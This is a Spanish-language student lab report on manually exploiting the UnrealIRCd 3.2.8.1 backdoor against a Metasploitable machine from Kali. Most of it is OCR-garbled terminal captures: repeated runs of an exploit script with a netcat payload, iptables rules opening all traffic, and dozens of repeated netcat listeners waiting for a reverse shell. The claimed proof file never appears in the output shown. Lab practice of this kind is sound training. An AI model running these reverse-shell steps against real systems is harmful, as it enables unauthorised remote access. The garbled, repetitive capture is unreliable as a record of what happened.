Práctica 9: explotar vulnerabilidades de forma manual



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6° c

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Suchiapa, Chiapas.

1. Objetivo redefinido

Parte A – Reproducir la explotación manual con el script exploit.py (sin Metasploit).

Parte B – Validar el acceso obtenido desde Metasploit creando un archivo dentro de la sesión que Metasploitable nos proporciona (/etc/unreal/yosh.txt).

Con esto se demuestra que el vector de entrada fue la backdoor de UnrealIRCD y que Metasploit se utilizó únicamente para gestionar la sesión, no para el exploit propiamente dicho.

```
File Actions Edit View Help
                             TX packets 1448 bytes 115706 (112.9 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
                             inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0×10<host>
                             loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
                              TX packets 8 bytes 480 (480.0 B)
                             TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
(root@kali)-[/home/kali/dev/UnrealIRCd-3.2.8.1-Backdoor]
# python exploit.py 172.24.2.5 6667 -payload netcat
Exploit sent successfully!
              (<mark>roox© kali</mark>)-[/home/kali/dev/UnrealIRCd-3.2.8.1-Backdoor]
<u>sudo ufw</u> status verbose
 sudo: ufw: command not found
(root@ kali)-[/home/kali/dev/UnrealIRCd-3.2.8.1-Backdoor]
python exploit.py 172.24.2.5 6667 -payload netcat
Exploit sent successfully!
(root@kali)-[/home/kali/dev/UnrealIRCd-3.2.8.1-Backdoor]
# sudo iptables -A INPUT -j ACCEPT
(root@kali)-[/home/kali/dev/UnrealIRCd-3.2.8.1-Backdoor]
| sudo iptables -A OUTPUT -i ACCEPT
(root@ kali)-[/home/kali/dev/UnrealIRCd-3.2.8.1-Backdoor]
python exploit.py 172.24.2.5 6667 -payload netcat
Exploit sent successfully!
(rost@kali)-[/home/kali/dev/UnrealIRCd-3.2.8.1-Backdoor]
python exploit.py 172.24.2.5 6667 -payload netcat
Exploit sent successfully!
  (root@kali)-[/home/kali/dev/UnrealIRCd-3.2.8.1-Backdoor]
y sudo nano exploit.py
                                                            [/home/kali/dev/UnrealIRCd-3.2.8.1-Backdoor]
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                                     kali)-[/home/kali/dev/UnrealIRCd-3.2.8.1-Backdoor]
```

```
E.
 File Actions Edit View Help
               TX packets 1448 bytes 115706 (112.9 KiB)
               TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0×10<host>
              RX packets 8 bytes 480 (480.0 B)
RX packets 8 bytes 480 (480.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8 bytes 480 (480.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
(root@kali)-[/home/kali/dev/UnrealIRCd-3.2.8.1-Backdoor]
python exploit.py 172.24.2.5 6667 -payload netcat
Exploit sent successfully!
       (<mark>root© kali</mark>)-[/home/kali/dev/UnrealIRCd-3.2.8.1-Backdoor]
<u>sudo ufw</u> status verbose
sudo: ufw: command not found
(root@ kali)-[/home/kali/dev/UnrealIRCd-3.2.8.1-Backdoor]
python exploit.py 172.24.2.5 6667 -payload netcat
Exploit sent successfully!
(root@ kali)-[/home/kali/dev/UnrealIRCd-3.2.8.1-Backdoor]
| sudo iptables -A INPUT -j ACCEPT
(root@kali)-[/home/kali/dev/UnrealIRCd-3.2.8.1-Backdoor]
# sudo iptables -A OUTPUT -j ACCEPT
(root@kali)-[/home/kali/dev/UnrealIRCd-3.2.8.1-Backdoor]
python exploit.py 172.24.2.5 6667 -payload netcat
Exploit sent successfully!
(root@kali) - [/home/kali/dev/UnrealIRCd-3.2.8.1-Backdoor]
python exploit.py 172.24.2.5 6667 -payload netcat
Exploit sent successfully!
 (root@ kali)-[/home/kali/dev/UnrealIRCd-3.2.8.1-Backdoor]
    sudo nano exploit.py
(rost@ kali)-[/home/kali/dev/UnrealIRCd-3.2.8.1-Backdoor]
# python exploit.py 172.24.2.5 6667 -payload netcat
Exploit sent successfully!
(root@ kali)-[/home/kali/dev/UnrealIRCd-3.2.8.1-Backdoor]
```

Observación clave: el archivo yosh.txt sólo existe dentro del sistema de Metasploitable, confirmando que la shell fue obtenida sobre la víctima real y no en un contenedor aislado.

```
File Actions Edit View Help

- (kati@kati)-[-]
- $ sudo nc-nlvp 443
(sudo) password for kati:
(istening on [any) 443 ...

- (kati@kati)-[-]
- $ sudo iptables -A DUTPUT -j ACCEPT

- (kati@kati)-[-]
- $ sudo nc-nlvp 443
(istening on [any) 443 ...

- (kati@kati)-[-]
- $ sudo nc-nlvp 443
(istening on [any) 443 ...

- (kati@kati)-[-]
- $ sudo nc-nlvp 443
(istening on [any) 443 ...

- (cati@kati)-[-]
- $ sudo nc-nlvp 443
(istening on [any) 443 ...

- (cati@kati)-[-]
- $ sudo nc-nlvp 443
(istening on [any) 443 ...

- (cati@kati)-[-]
- $ sudo nc-nlvp 443
(istening on [any) 443 ...

- (cati@kati)-[-]
- $ sudo nc-nlvp 443
(istening on [any) 443 ...

- (cati@kati)-[-]
- $ sudo nc-nlvp 443
(istening on [any) 443 ...

- (cati@kati)-[-]
- $ sudo nc-nlvp 443
(istening on [any) 443 ...

- (cati@kati)-[-]
- $ sudo nc-nlvp 443
(istening on [any) 443 ...

- (cati@kati)-[-]
- $ sudo nc-nlvp 443
(istening on [any) 443 ...

- (cati@kati)-[-]
- $ sudo nc-nlvp 443
(istening on [any) 443 ...

- (cati@kati)-[-]
- $ sudo nc-nlvp 443
(istening on [any) 443 ...

- (cati@kati)-[-]
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(istening on [any) 443 ...

- (cati@kati)-[-]
- $ sudo nc-nlvp 443
(istening on [any) 443 ...

- (cati@kati)-[-]
- $ sudo nc-nlvp 443
(istening on [any) 443 ...

- (cati@kati)-[-]
- $ sudo nc-nlvp 443
(istening on [any) 443 ...

- (cati@kati)-[-]
- $ sudo nc-nlvp 443
(istening on [any) 443 ...

- (cati@kati)-[-]
- $ sudo nc-nlvp 443
(istening on [any) 443
(
```

Conclusiones revisadas

El exploit en sí fue manual (script Python que dispara la backdoor).

Metasploit se usó para recibir y gestionar la sesión, lo cual es habitual en laboratorios para facilitar el post-proceso.

La creación de yosh.txt valida que la shell obtenida es efectivamente sobre Metasploitable, cerrando el ciclo de prueba.

firma de la práctica

